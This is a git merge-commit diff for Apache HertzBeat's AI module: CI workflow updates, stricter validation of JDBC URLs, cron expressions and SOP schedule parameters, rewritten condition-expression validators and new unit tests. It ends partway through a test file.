Merge branch 'master' into fix/008-questdb-sql-injection

Co-authored-by: aias00 <liuhongyu@apache.org>

.github/workflows/doc-build-test.yml

@@ -43,7 +43,7 @@ jobs:
           version: 10
       - uses: actions/setup-node@v4
         with:
-          node-version: '20'
+          node-version: '22'
           cache: pnpm
           cache-dependency-path: home/pnpm-lock.yaml
       - uses: actions/setup-python@v4

.github/workflows/doc-deploy.yml

@@ -47,20 +47,20 @@ jobs:
         with:
           fetch-depth: 0
 
+      # Setup pnpm (must run before setup-node so the pnpm cache can be configured)
+      - name: Setup pnpm
+        uses: pnpm/action-setup@v4
+        with:
+          version: 10
+
       # Setup Node.js environment
       - name: Setup Node.js
         uses: actions/setup-node@v4
         with:
-          node-version: '20'
+          node-version: '22'
           cache: pnpm
           cache-dependency-path: home/pnpm-lock.yaml
 
-      # Setup pnpm
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v4
-        with:
-          version: latest
-
       # Install dependencies in home directory
       - name: Install Dependencies
         working-directory: home

.github/workflows/frontend-build-test.yml

@@ -37,6 +37,7 @@ concurrency:
 jobs:
   build:
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     steps:
     - uses: actions/checkout@v4
     - uses: pnpm/action-setup@v4
@@ -53,3 +54,6 @@ jobs:
     - name: EsLint Test
       working-directory: web-app
       run: pnpm lint:ts
+    - name: Unit Test
+      working-directory: web-app
+      run: pnpm test

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/controller/SopController.java

@@ -30,6 +30,7 @@ import org.apache.hertzbeat.ai.sop.model.SopDefinition;
 import org.apache.hertzbeat.ai.sop.model.SopResult;
 import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
 import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.HttpStatus;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -143,7 +144,7 @@ public class SopController {
                     .status("FAILED")
                     .error("SOP skill not found: " + skillName)
                     .build();
-            return ResponseEntity.notFound().build();
+            return ResponseEntity.status(HttpStatus.NOT_FOUND).body(errorResult);
         }
         
         Map<String, Object> inputParams = params != null ? params : new HashMap<>();

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/schedule/SopScheduleExecutor.java

@@ -36,6 +36,7 @@ import org.springframework.context.annotation.Lazy;
 import org.springframework.scheduling.annotation.EnableScheduling;
 import org.springframework.scheduling.annotation.Scheduled;
 import org.springframework.stereotype.Component;
+import tools.jackson.core.type.TypeReference;
 
 /**
  * Scheduled executor that checks for due SOP schedules and executes them.
@@ -82,7 +83,11 @@ public class SopScheduleExecutor {
             log.info("Found {} due schedules to execute", dueSchedules.size());
             
             for (SopSchedule schedule : dueSchedules) {
-                executeSchedule(schedule);
+                try {
+                    executeSchedule(schedule);
+                } catch (Exception e) {
+                    log.error("Unexpected error processing scheduled SOP {}", schedule.getId(), e);
+                }
             }
         } catch (Exception e) {
             log.error("Error checking due schedules", e);
@@ -100,19 +105,19 @@ public class SopScheduleExecutor {
             // Check if skill exists
             var definition = skillRegistry.getSkill(schedule.getSopName());
             if (definition == null) {
-                log.warn("Skill {} not found, skipping schedule {}", 
-                        schedule.getSopName(), schedule.getId());
-                return;
+                // Do not silently skip an invalid schedule because its execution time will still be advanced.
+                throw new IllegalStateException("SOP skill not found: " + schedule.getSopName());
             }
             
             // Parse parameters
             Map<String, Object> params = new HashMap<>();
             if (schedule.getSopParams() != null && !schedule.getSopParams().isEmpty()) {
-                try {
-                    params = JsonUtil.fromJson(schedule.getSopParams(), Map.class);
-                } catch (Exception e) {
-                    log.warn("Failed to parse SOP params: {}", schedule.getSopParams());
+                Map<String, Object> parsedParams = JsonUtil.fromJson(
+                        schedule.getSopParams(), new TypeReference<>() {});
+                if (parsedParams == null) {
+                    throw new IllegalArgumentException("SOP schedule parameters must be a valid JSON object");
                 }
+                params = parsedParams;
             }
             
             // Execute SOP

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/service/impl/ConversationServiceImpl.java

@@ -23,6 +23,7 @@ import java.util.Optional;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.hertzbeat.ai.dao.ChatConversationDao;
 import org.apache.hertzbeat.ai.dao.ChatMessageDao;
+import org.apache.hertzbeat.ai.dao.SopScheduleDao;
 import org.apache.hertzbeat.ai.pojo.dto.ChatRequestContext;
 import org.apache.hertzbeat.ai.pojo.dto.ChatResponseChunk;
 import org.apache.hertzbeat.ai.pojo.dto.SecurityData;
@@ -57,6 +58,9 @@ public class ConversationServiceImpl implements ConversationService {
     @Autowired
     private ChatMessageDao messageDao;
 
+    @Autowired
+    private SopScheduleDao sopScheduleDao;
+
     @Autowired
     private ChatClientProviderService chatClientProviderService;
 
@@ -74,24 +78,32 @@ public class ConversationServiceImpl implements ConversationService {
                 .build());
         }
 
-        log.info("Starting streaming conversation: {}", conversationId);
-        ChatConversation conversation = conversationDao.findById(conversationId)
-            .orElseThrow(() -> new IllegalArgumentException("Conversation not found: " + conversationId));
+        ChatConversation conversation;
+        if (conversationId == null) {
+            // The API contract makes conversationId optional, so create a conversation for the first message.
+            conversation = new ChatConversation();
+            conversation.setTitle(buildConversationTitle(message));
+            conversation = conversationDao.save(conversation);
+        } else {
+            conversation = conversationDao.findById(conversationId)
+                .orElseThrow(() -> new IllegalArgumentException("Conversation not found: " + conversationId));
+        }
+        Long currentConversationId = conversation.getId();
+        log.info("Starting streaming conversation: {}", currentConversationId);
 
         // Manually load messages for conversation history
-        List<ChatMessage> messages = messageDao.findByConversationIdOrderByGmtCreateAsc(conversationId);
+        List<ChatMessage> messages = messageDao.findByConversationIdOrderByGmtCreateAsc(currentConversationId);
         conversation.setMessages(messages);
 
         if (conversation.getTitle().startsWith("conversation")) {
             // Auto-generate title from first user message
-            String title = message.length() > 30 ? message.substring(0, 27) + "..." : message;
-            conversation.setTitle(title);
+            conversation.setTitle(buildConversationTitle(message));
             conversationDao.save(conversation);
         }
 
         // Add user message to conversation
         ChatMessage chatMessage = ChatMessage.builder()
-            .conversationId(conversationId)
+            .conversationId(currentConversationId)
             .content(message)
             .role("user")
             .build();
@@ -99,7 +111,7 @@ public class ConversationServiceImpl implements ConversationService {
 
         ChatRequestContext context = ChatRequestContext.builder()
             .message(message)
-            .conversationId(conversationId)
+            .conversationId(currentConversationId)
             .conversationHistory(messages)
             .build();
 
@@ -112,7 +124,7 @@ public class ConversationServiceImpl implements ConversationService {
             .map(chunk -> {
                 fullResponse.append(chunk);
                 ChatResponseChunk responseChunk = ChatResponseChunk.builder()
-                    .conversationId(conversationId)
+                    .conversationId(currentConversationId)
                     .userMessageId(finalChatMessage.getId())
                     .response(chunk)
                     .build();
@@ -124,13 +136,13 @@ public class ConversationServiceImpl implements ConversationService {
             .concatWith(Flux.defer(() -> {
                 // Add the complete AI response to conversation
                 ChatMessage assistantMessage = ChatMessage.builder()
-                    .conversationId(conversationId)
+                    .conversationId(currentConversationId)
                     .content(fullResponse.toString())
                     .role("assistant")
                     .build();
                 assistantMessage = messageDao.save(assistantMessage);
                 ChatResponseChunk finalResponse = ChatResponseChunk.builder()
-                    .conversationId(conversationId)
+                    .conversationId(currentConversationId)
                     .response("")
                     .assistantMessageId(assistantMessage.getId())
                     .build();
@@ -139,12 +151,12 @@ public class ConversationServiceImpl implements ConversationService {
                     .event("complete")
                     .build());
             }))
-            .doOnComplete(() -> log.info("Streaming completed for conversation: {}", conversationId))
-            .doOnError(error -> log.error("Error in streaming chat for conversation {}: {}", conversationId,
+            .doOnComplete(() -> log.info("Streaming completed for conversation: {}", currentConversationId))
+            .doOnError(error -> log.error("Error in streaming chat for conversation {}: {}", currentConversationId,
                 error.getMessage(), error))
             .onErrorResume(error -> {
                 ChatResponseChunk errorResponse = ChatResponseChunk.builder()
-                    .conversationId(conversationId)
+                    .conversationId(currentConversationId)
                     .response("An error occurred: " + error.getMessage())
                     .userMessageId(finalChatMessage.getId())
                     .build();
@@ -161,6 +173,10 @@ public class ConversationServiceImpl implements ConversationService {
         return conversationDao.save(conversation);
     }
 
+    private String buildConversationTitle(String message) {
+        return message.length() > 30 ? message.substring(0, 27) + "..." : message;
+    }
+
     @Override
     public ChatConversation getConversation(Long conversationId) {
         if (conversationId == null) {
@@ -197,6 +213,8 @@ public class ConversationServiceImpl implements ConversationService {
     @Override
     @Transactional(rollbackFor = Exception.class)
     public void deleteConversation(Long conversationId) {
+        // Delete associated schedules first to prevent tasks from writing orphaned messages.
+        sopScheduleDao.deleteByConversationId(conversationId);
         List<ChatMessage> messages = messageDao.findByConversationIdOrderByGmtCreateAsc(conversationId);
         if (!messages.isEmpty()) {
             messageDao.deleteAll(messages);

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/service/impl/SopScheduleServiceImpl.java

@@ -148,10 +148,17 @@ public class SopScheduleServiceImpl implements SopScheduleService {
     private LocalDateTime calculateNextRunTime(String cronExpression) {
         try {
             CronExpression cron = CronExpression.parse(cronExpression);
-            return cron.next(LocalDateTime.now());
-        } catch (Exception e) {
-            log.error("Failed to calculate next run time for cron: {}", cronExpression, e);
-            return null;
+            LocalDateTime nextRunTime = cron.next(LocalDateTime.now());
+            if (nextRunTime == null) {
+                // Expressions such as February 31 are syntactically valid but can never be triggered.
+                throw new IllegalArgumentException(
+                        "Cron expression has no future execution time: " + cronExpression);
+            }
+            return nextRunTime;
+        } catch (IllegalArgumentException e) {
+            throw e;
+        } catch (RuntimeException e) {
+            throw new IllegalArgumentException("Failed to calculate next run time: " + cronExpression, e);
         }
     }
 }

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/sop/registry/SopToolCallback.java

@@ -109,7 +109,7 @@ public class SopToolCallback implements ToolCallback {
         String defaultValue = parameter.getDefaultValue();
         try {
             return switch (mapType(parameter.getType())) {
-                case "boolean" -> Boolean.valueOf(defaultValue);
+                case "boolean" -> parseBooleanDefault(parameter, defaultValue);
                 case "integer" -> Long.valueOf(defaultValue);
                 case "number" -> Double.valueOf(defaultValue);
                 default -> defaultValue;
@@ -119,6 +119,18 @@ public class SopToolCallback implements ToolCallback {
         }
     }
 
+    private boolean parseBooleanDefault(SopParameter parameter, String defaultValue) {
+        String normalizedValue = defaultValue.trim();
+        if ("true".equalsIgnoreCase(normalizedValue)) {
+            return true;
+        }
+        if ("false".equalsIgnoreCase(normalizedValue)) {
+            return false;
+        }
+        throw new IllegalArgumentException(
+                "Invalid boolean default value for SOP parameter: " + parameter.getName());
+    }
+
     private String mapType(String type) {
         if (type == null) {
             return "string";

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java

@@ -30,6 +30,9 @@ import org.apache.hertzbeat.ai.tools.DatabaseTools;
 import org.apache.hertzbeat.common.entity.manager.Monitor;
 import org.apache.hertzbeat.common.entity.manager.Param;
 import org.apache.hertzbeat.common.util.AesUtil;
+import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.IpDomainUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
 import org.apache.hertzbeat.manager.pojo.dto.MonitorDto;
 import org.apache.hertzbeat.manager.service.MonitorService;
 import org.springframework.ai.tool.annotation.Tool;
@@ -240,11 +243,21 @@ public class DatabaseToolsImpl implements DatabaseTools {
     
     private String buildJdbcUrl(String platform, String host, String port, String database) {
         String effectivePort = (port == null || port.isEmpty()) ? "3306" : port;
-        String effectiveDb = (database == null || database.isEmpty()) ? "" : database;
-        
-        return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
+        // host, port and database come from monitor parameters and are concatenated into the url,
+        // so they must not carry url syntax of their own
+        String effectiveDb = JdbcUrlSafetyUtil.requireSafeDatabaseName(database);
+        if (!IpDomainUtil.validateIpDomain(host)) {
+            throw new IllegalArgumentException("Invalid database host: " + host);
+        }
+        if (!CommonUtil.isNumeric(effectivePort)) {
+            throw new IllegalArgumentException("Invalid database port: " + effectivePort);
+        }
+
+        String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
                 + "?useUnicode=true&characterEncoding=utf-8&useSSL=false"
                 + "&allowPublicKeyRetrieval=true&connectTimeout=5000";
+        JdbcUrlSafetyUtil.requireSafeJdbcUrl(url);
+        return url;
     }
     
     private String executeAndFormat(String url, String username, String password, 

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/ScheduleToolsImpl.java

@@ -19,17 +19,23 @@ package org.apache.hertzbeat.ai.tools.impl;
 
 import java.time.format.DateTimeFormatter;
 import java.util.List;
+import java.util.Map;
+import java.util.Objects;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.hertzbeat.ai.service.SopScheduleService;
+import org.apache.hertzbeat.ai.sop.model.SopDefinition;
+import org.apache.hertzbeat.ai.sop.model.SopParameter;
 import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
 import org.apache.hertzbeat.ai.utils.SopMessageUtil;
 import org.apache.hertzbeat.ai.tools.ScheduleTools;
 import org.apache.hertzbeat.common.entity.ai.SopSchedule;
+import org.apache.hertzbeat.common.util.JsonUtil;
 import org.springframework.ai.tool.annotation.Tool;
 import org.springframework.ai.tool.annotation.ToolParam;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.context.annotation.Lazy;
 import org.springframework.stereotype.Service;
+import tools.jackson.core.type.TypeReference;
 
 /**
  * Implementation of ScheduleTools for AI-driven schedule management.
@@ -78,18 +84,22 @@ public class ScheduleToolsImpl implements ScheduleTools {
     @Tool(name = "createScheduleWithConversation",
           description = "Create a scheduled task for a specific conversation. "
                   + "Use the conversationId from the system context. "
+                  + "Pass skill parameters as a JSON object when the skill requires inputs. "
                   + "The cron expression should be in 6-digit Spring format.")
     public String createScheduleWithConversation(
             @ToolParam(description = "Conversation ID from the system context", required = true) Long conversationId,
             @ToolParam(description = "Name of the skill to schedule (e.g., 'daily_inspection')", required = true) String skillName,
             @ToolParam(description = "Cron expression in Spring format (e.g., '0 0 9 * * ?')", required = true) String cronExpression,
-            @ToolParam(description = "Description of the schedule", required = false) String description) {
+            @ToolParam(description = "Description of the schedule", required = false) String description,
+            @ToolParam(description = "Skill parameters as a JSON object (e.g., '{\"monitorId\":123}')",
+                       required = false) String paramsJson) {
 
         log.info("AI creating schedule: conversationId={}, skill={}, cron={}, desc={}", 
                  conversationId, skillName, cronExpression, description);
 
         // Validate skill exists
-        if (skillRegistry.getSkill(skillName) == null) {
+        SopDefinition skill = skillRegistry.getSkill(skillName);
+        if (skill == null) {
             String available = String.join(", ", 
                     skillRegistry.getAllSkills().stream()
                             .map(s -> s.getName())
@@ -103,11 +113,16 @@ public class ScheduleToolsImpl implements ScheduleTools {
         }
 
         try {
-            // Check for duplicate schedule (same skill + cron expression)
+            Map<String, Object> params = parseSkillParams(paramsJson);
+            validateRequiredParameters(skill, params);
+            String serializedParams = params.isEmpty() ? null : JsonUtil.toJson(params);
+
+            // Parameters are part of a schedule's identity so the same skill and cron can target different inputs.
             List<SopSchedule> existing = scheduleService.getSchedulesByConversation(conversationId);
             boolean duplicate = existing.stream()
-                    .anyMatch(s -> s.getSopName().equals(skillName) 
-                                && s.getCronExpression().equals(cronExpression));
+                    .anyMatch(schedule -> Objects.equals(schedule.getSopName(), skillName)
+                            && Objects.equals(schedule.getCronExpression(), cronExpression)
+                            && hasSameParams(schedule.getSopParams(), params));
             if (duplicate) {
                 return SopMessageUtil.getMessage("schedule.create.duplicate", 
                         new Object[]{skillName, cronExpression}, null)
@@ -118,6 +133,7 @@ public class ScheduleToolsImpl implements ScheduleTools {
             schedule.setConversationId(conversationId);
             schedule.setSopName(skillName);
             schedule.setCronExpression(cronExpression);
+            schedule.setSopParams(serializedParams);
             schedule.setEnabled(true);
 
             SopSchedule created = scheduleService.createSchedule(schedule);
@@ -150,6 +166,55 @@ public class ScheduleToolsImpl implements ScheduleTools {
         }
     }
 
+    private Map<String, Object> parseSkillParams(String paramsJson) {
+        if (paramsJson == null || paramsJson.isBlank()) {
+            return Map.of();
+        }
+        Map<String, Object> params;
+        try {
+            params = JsonUtil.fromJson(paramsJson, new TypeReference<>() {});
+        } catch (RuntimeException e) {
+            throw new IllegalArgumentException("Skill parameters must be a valid JSON object", e);
+        }
+        if (params == null) {
+            throw new IllegalArgumentException("Skill parameters must be a valid JSON object");
+        }
+        return params;
+    }
+
+    private void validateRequiredParameters(SopDefinition skill, Map<String, Object> params) {
+        if (skill.getParameters() == null) {
+            return;
+        }
+        for (SopParameter parameter : skill.getParameters()) {
+            Object value = params.get(parameter.getName());
+            if (isMissing(value)) {
+                value = parameter.getDefaultValue();
+            }
+            if (parameter.isRequired() && isMissing(value)) {
+                throw new IllegalArgumentException(
+                        "Required skill parameter is missing: " + parameter.getName());
+            }
+        }
+    }
+
+    private boolean isMissing(Object value) {
+        return value == null || value instanceof String text && text.isBlank();
+    }
+
+    private boolean hasSameParams(String existingJson, Map<String, Object> params) {
+        if (existingJson == null || existingJson.isBlank()) {
+            return params.isEmpty();
+        }
+        try {
+            Map<String, Object> existingParams = JsonUtil.fromJson(existingJson, new TypeReference<>() {});
+            return Objects.equals(existingParams, params);
+        } catch (RuntimeException e) {
+            log.warn("Failed to parse parameters of an existing schedule", e);
+            return false;
+        }
+    }
+
     @Override
     @Tool(name = "listSchedulesForConversation",
           description = "List all scheduled tasks for a specific conversation. "

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/SkillToolsImpl.java

@@ -125,12 +125,16 @@ public class SkillToolsImpl implements SkillTools {
 
         // Parse parameters
         Map<String, Object> params = parseParams(paramsJson);
+        if (params == null) {
+            return "Error: Skill parameters must be a valid JSON object.";
+        }
 
         // Validate required parameters
         if (skill.getParameters() != null) {
             for (SopParameter paramDef : skill.getParameters()) {
                 if (paramDef.isRequired()) {
-                    if (!params.containsKey(paramDef.getName()) || params.get(paramDef.getName()) == null) {
+                    Object value = params.get(paramDef.getName());
+                    if (value == null || value instanceof String text && text.isBlank()) {
                         return "Error: Required parameter '" + paramDef.getName() + "' is missing. "
                                 + "Description: " + paramDef.getDescription();
                     }
@@ -143,7 +147,9 @@ public class SkillToolsImpl implements SkillTools {
             SopResult result = sopEngine.executeSync(skill, params);
 
             // Check output type
-            if (result.getOutputType() == OutputType.REPORT) {
+            if ("SUCCESS".equals(result.getStatus())
+                    && result.getOutputType() == OutputType.REPORT
+                    && result.getContent() != null) {
                 // Report type: return with marker for direct display to user
                 log.info("Skill {} returned report-type output, marking for direct display", skillName);
                 return SKILL_REPORT_MARKER + "\n" + result.getContent();
@@ -167,8 +173,8 @@ public class SkillToolsImpl implements SkillTools {
         try {
             return JsonUtil.fromJson(paramsJson, Map.class);
         } catch (Exception e) {
-            log.warn("Failed to parse params JSON: {}, returning empty map", paramsJson);
-            return new HashMap<>();
+            log.warn("Failed to parse params JSON: {}", paramsJson);
+            return null;
         }
     }
 }

hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/utils/UtilityClass.java

@@ -27,8 +27,12 @@ import java.time.ZoneId;
 import java.time.format.DateTimeFormatter;
 import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import org.apache.hertzbeat.manager.pojo.dto.Hierarchy;
 import tools.jackson.databind.ObjectMapper;
 
@@ -42,6 +46,14 @@ import tools.jackson.databind.ObjectMapper;
 @lombok.experimental.UtilityClass
 public class UtilityClass {
 
+    private static final Pattern SINGLE_EQUALS_PATTERN = Pattern.compile("(?<![<>=!])=(?!=)");
+    private static final Pattern UPPERCASE_LOGICAL_PATTERN = Pattern.compile("\\b(AND|OR)\\b");
+    private static final Pattern FUNCTION_FIELD_PATTERN = Pattern.compile(
+            "!?\\b(?:equals|contains|matches|exists)\\s*\\(\\s*([a-zA-Z_][a-zA-Z0-9_]*)");
+    private static final Pattern COMPARISON_FIELD_PATTERN = Pattern.compile(
+            "(?:^|[\\s(])([a-zA-Z_][a-zA-Z0-9_]*)\\s*(?:>=|<=|==|!=|>|<)");
+    private static final Pattern QUOTED_VALUE_PATTERN = Pattern.compile("\"[^\"]*\"|'[^']*'");
+
     /**
      * Validates the syntax of field conditions expression
      * @param fieldConditions Field conditions string to validate
@@ -111,31 +123,26 @@ public class UtilityClass {
      * Validates that only supported operators are used
      */
     public String validateOperators(String fieldConditions) {
-        // Define supported operators for different field types
-        String[] numericOperators = {">", "<", ">=", "<=", "==", "!=", "exists()", "!exists()"};
-        String[] stringOperators = {"equals(", "contains(", "matches(", "exists()", "!equals(", "!contains(", "!matches(", "!exists()"};
-        String[] logicalOperators = {" and ", " or "};
-
         // Remove quotes and function calls temporarily for operator checking
         String tempExpression = fieldConditions
                 .replaceAll("\"[^\"]*\"", "VALUE") // Remove quoted strings
                 .replaceAll("'[^']*'", "VALUE")    // Remove single quoted strings
                 .replaceAll("\\w+\\([^)]*\\)", "FUNCTION"); // Remove function calls
 
-        // Check for invalid operators (common mistakes)
-        String[] invalidOperators = {"&&", "||", "AND", "OR", "=", "!="};
-        for (String invalidOp : invalidOperators) {
-            if (tempExpression.contains(invalidOp)) {
-                if (invalidOp.equals("&&") || invalidOp.equals("||")) {
-                    return String.format("Error: Use 'and'/'or' instead of '%s' for logical operations", invalidOp);
-                }
-                if (invalidOp.equals("AND") || invalidOp.equals("OR")) {
-                    return String.format("Error: Use lowercase '%s' for logical operations", invalidOp.toLowerCase());
-                }
-                if (invalidOp.equals("=")) {
-                    return "Error: Use '==' for equality comparison, not '='";
-                }
-            }
+        if (tempExpression.contains("&&") || tempExpression.contains("||")) {
+            String invalidOp = tempExpression.contains("&&") ? "&&" : "||";
+            return String.format("Error: Use 'and'/'or' instead of '%s' for logical operations", invalidOp);
+        }
+
+        Matcher uppercaseLogicalMatcher = UPPERCASE_LOGICAL_PATTERN.matcher(tempExpression);
+        if (uppercaseLogicalMatcher.find()) {
+            return String.format("Error: Use lowercase '%s' for logical operations",
+                    uppercaseLogicalMatcher.group(1).toLowerCase());
+        }
+
+        // Reject only a standalone equals sign without rejecting >=, <=, ==, or !=.
+        if (SINGLE_EQUALS_PATTERN.matcher(tempExpression).find()) {
+            return "Error: Use '==' for equality comparison, not '='";
         }
 
         // Check for unsupported special characters that might indicate syntax errors
@@ -150,11 +157,6 @@ public class UtilityClass {
      * Validates logical connectors syntax
      */
     public String validateLogicalConnectors(String fieldConditions) {
-        // Check for proper spacing around logical operators
-        if (fieldConditions.matches(".*(\\S(and|or)\\S).*")) {
-            return "Error: Logical operators 'and'/'or' must be surrounded by spaces";
-        }
-
         // Check for consecutive logical operators
         if (fieldConditions.matches(".*(and\\s+and|or\\s+or|and\\s+or\\s+and|or\\s+and\\s+or).*")) {
             return "Error: Consecutive logical operators found. Use parentheses to group conditions properly.";
@@ -237,7 +239,7 @@ public class UtilityClass {
 
         String[] pairs = input.split(",");
         for (String pair : pairs) {
-            String[] keyValue = pair.split(":");
+            String[] keyValue = pair.split(":", 2);
             if (keyValue.length == 2) {
                 result.put(keyValue[0].trim(), keyValue[1].trim());
             }
@@ -299,34 +301,22 @@ public class UtilityClass {
      * Handles simple cases like "field > 80", "equals(field, 'value')", complex expressions
      */
     public List<String> extractFieldNamesFromConditions(String fieldConditions) {
-        List<String> fieldNames = new ArrayList<>();
+        Set<String> fieldNames = new LinkedHashSet<>();
 
-        // Split by logical operators (and, or) and parentheses, but preserve the field names
-        // This is a simple implementation - could be enhanced with a proper parser
-        String[] parts = fieldConditions.split("\\s+(and|or|&&|\\|\\|)\\s+|[()]+");
-
-        for (String part : parts) {
-            part = part.trim();
-            if (part.isEmpty()) {
-                continue;
-            }
-
-            // Handle equals() function: equals(fieldName, "value")
-            if (part.contains("equals(")) {
-                String fieldName = extractFieldFromEquals(part);
-                if (fieldName != null && !fieldNames.contains(fieldName)) {
-                    fieldNames.add(fieldName);
-                }
-            } else {
-                // Handle simple comparisons: fieldName > value, fieldName <= value
-                String fieldName = extractFieldFromComparison(part);
-                if (fieldName != null && !fieldNames.contains(fieldName)) {
-                    fieldNames.add(fieldName);
-                }
-            }
+        // Extract the first function argument without splitting parentheses and bypassing field validation.
+        Matcher functionMatcher = FUNCTION_FIELD_PATTERN.matcher(fieldConditions);
+        while (functionMatcher.find()) {
+            fieldNames.add(functionMatcher.group(1));
         }
 
-        return fieldNames;
+        // Remove quoted values before scanning comparisons to avoid treating text such as "value > 1" as a field.
+        Matcher comparisonMatcher = COMPARISON_FIELD_PATTERN.matcher(
+                QUOTED_VALUE_PATTERN.matcher(fieldConditions).replaceAll(""));
+        while (comparisonMatcher.find()) {
+            fieldNames.add(comparisonMatcher.group(1));
+        }
+
+        return new ArrayList<>(fieldNames);
     }
 
     /**
@@ -391,7 +381,8 @@ public class UtilityClass {
         } else {
             // Category, app, or metric node
             // Determine node type based on children
-            boolean hasLeafChildren = hierarchy.getChildren().stream()
+            List<Hierarchy> children = hierarchy.getChildren();
+            boolean hasLeafChildren = children != null && children.stream()
                     .anyMatch(child -> child.getIsLeaf() != null && child.getIsLeaf());
 
             if (hasLeafChildren) {
@@ -402,9 +393,9 @@ public class UtilityClass {
                 node.put("description", "Application with available metrics");
             }
 
-            if (hierarchy.getChildren() != null && !hierarchy.getChildren().isEmpty()) {
+            if (children != null && !children.isEmpty()) {
                 ArrayNode childrenArray = mapper.createArrayNode();
-                for (Hierarchy child : hierarchy.getChildren()) {
+                for (Hierarchy child : children) {
                     childrenArray.add(formatHierarchyAsJson(mapper, child));
                 }
                 node.set("children", childrenArray);

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/controller/SopControllerTest.java

@@ -0,0 +1,61 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.controller;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.mockito.Mockito.when;
+
+import org.apache.hertzbeat.ai.sop.engine.SopEngine;
+import org.apache.hertzbeat.ai.sop.model.SopResult;
+import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+
+/**
+ * Verifies that synchronous SOP failures include a diagnostic response body.
+ */
+@ExtendWith(MockitoExtension.class)
+class SopControllerTest {
+
+    @Mock
+    private SkillRegistry skillRegistry;
+
+    @Mock
+    private SopEngine sopEngine;
+
+    @InjectMocks
+    private SopController controller;
+
+    @Test
+    void executeSopSyncShouldReturnFailureBodyWhenSkillDoesNotExist() {
+        when(skillRegistry.getSkill("missing")).thenReturn(null);
+
+        ResponseEntity<SopResult> response = controller.executeSopSync("missing", null);
+
+        assertEquals(HttpStatus.NOT_FOUND, response.getStatusCode());
+        assertNotNull(response.getBody());
+        assertEquals("FAILED", response.getBody().getStatus());
+        assertEquals("SOP skill not found: missing", response.getBody().getError());
+    }
+}

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/schedule/SopScheduleExecutorTest.java

@@ -0,0 +1,128 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.schedule;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyMap;
+import static org.mockito.Mockito.doThrow;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoInteractions;
+import static org.mockito.Mockito.when;
+
+import java.util.List;
+import org.apache.hertzbeat.ai.dao.ChatMessageDao;
+import org.apache.hertzbeat.ai.service.SopScheduleService;
+import org.apache.hertzbeat.ai.sop.engine.SopEngine;
+import org.apache.hertzbeat.ai.sop.model.SopDefinition;
+import org.apache.hertzbeat.ai.sop.model.SopResult;
+import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
+import org.apache.hertzbeat.common.entity.ai.ChatMessage;
+import org.apache.hertzbeat.common.entity.ai.SopSchedule;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Verifies that due SOP schedules are isolated from each other and reject invalid parameters.
+ */
+@ExtendWith(MockitoExtension.class)
+class SopScheduleExecutorTest {
+
+    @Mock
+    private SopScheduleService scheduleService;
+
